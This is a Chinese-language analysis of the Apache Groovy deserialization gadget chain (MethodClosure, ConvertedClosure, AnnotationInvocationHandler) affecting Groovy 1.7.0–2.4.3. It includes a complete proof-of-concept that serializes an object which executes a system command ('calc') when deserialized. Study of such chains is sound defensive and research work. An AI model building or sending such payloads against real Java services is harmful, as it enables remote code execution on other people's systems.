- Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能
- Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言
- Groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行
- 在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all
本条利用 Gadget 就是在 Groovy 核心包中
JAVA环境
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
依赖版本
- Apache Groovy 依赖版本:1.7.0-2.4.3
检查依赖配置
确认项目中是否正确引入了
- Apache Groovy
的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.3.9</version>
</dependency>
资源下载
前置知识
MethodClosure
org.codehaus.groovy.runtime.MethodClosure
是方法闭包,使用闭包代表了一个对象的一个方法,可以很方便的调用
构造方法
MethodClosure
类继承了Closure
类,其初始化时接收两个参数,一个是对象,一个是对象的方法名称
public class MethodClosure extends Closure {
...
public MethodClosure(Object owner, String method) {
super(owner);
this.method = method;
final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();
maximumNumberOfParameters = 0;
parameterTypes = EMPTY_CLASS_ARRAY;
List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);
for(MetaMethod m : methods) {
if (m.getParameterTypes().length > maximumNumberOfParameters) {
Class[] pt = m.getNativeParameterTypes();
maximumNumberOfParameters = pt.length;
parameterTypes = pt;
}
}
}
...
}
doCall - sink
MethodClosure 中有一个 doCall
方法,通过 InvokerHelper.invokeMethod()
进行方法调用
protected Object doCall(Object arguments) {
return InvokerHelper.invokeMethod(getOwner(), method, arguments);
}
利用方法
这样就可以使用 MethodClosure 执行系统命令
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
String.execute
Groovy 为 String 类型添加了 execute()
方法,以便执行 shell 命令,这个方法会返回一个 Process 对象
也就是说,在 Groovy 中,可以直接使用 "ls".execute()
这种方法来执行系统命令 "ls"
利用方法
在 Groovy类 中,可以很简单的利用
public void test() {
println("whoami".execute().text)
}
实际上就是调用 Runtime.getRuntime().exec()
方法执行系统命令
public static Process execute(final String self) throws IOException {
return Runtime.getRuntime().exec(self);
}
在 Java类 中,就可以直接写做:
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
其中call
为Closure
类中的方法,实际上最终调用的MethodClosure
类的doCall
方法,从而调用"calc"
的execute
方法
ConvertedClosure
org.codehaus.groovy.runtime.ConvertedClosure
是一个通用适配器,用于将闭包适配到 Java 接口
ConvertedClosure
实现了ConversionHandler
类ConversionHandler
又实现了InvocationHandler
- 所以 ConvertedClosure 本身就是一个动态代理类
构造方法
ConvertedClosure 的构造方法接收一个 Closure 对象和一个 String 类型的 method 方法名
public ConvertedClosure(Closure closure, String method) {
super(closure);
this.methodName = method;
}
ConvertedClosure 会代理这个 Closure 对象,当调用其 method 方法时,将会调用 ConvertedClosure 父类的 invoke
方法,除了 toString 和一些默认方法外,会调用 invokeCustom
方法
invokeCustom - chain
如果初始化时指定的 method 与 invokeCustom
指定的 method 参数相同,则 invokeCustom 方法将会调用代理对象 Closure
的 call
方法执行传入参数执行
public Object invokeCustom(Object proxy, Method method, Object[] args)
throws Throwable {
if (methodName!=null && !methodName.equals(method.getName())) return null;
return ((Closure) getDelegate()).call(args);
}
看到这里就明白这条链的触发逻辑了
后面自然是使用 AnnotationInvocationHandler
将 ConvertedClosure
代理成 Map 类,再进行序列化与反序列化
攻击构造
恶意代码主体
public void TestGroovy1() throws Exception {
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
writeObjectToFile((Serializable) invocationHandler, fileName);
readFileObject(fileName);
}
总结
以上就是 Groovy 链分析的全部内容了,最后总结一下
利用说明
AnnotationInvocationHandler
反序列化时调用memberValues
中存放对象的entrySet
对象- 这个对象是
ConvertedClosure
- 这个对象又实际上是
MethodClosure
对象的代理
- 定义了在调用
entrySet
方法时会调用 invoke 方法 - 触发
Groovy
中String
类型的execute
方法执行命令 - 调用
MethodClosure
的call
方法
- 这个对象是
Gadget 总结
- kick-off gadget:
sun.reflect.annotation.AnnotationInvocationHandler#readObject
- sink gadget:
org.codehaus.groovy.runtime.MethodClosure#doCall
- chain gadget:
org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom
调用链展示
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
Closure.call()
MethodClosure.doCall()
ProcessGroovyMethods.execute()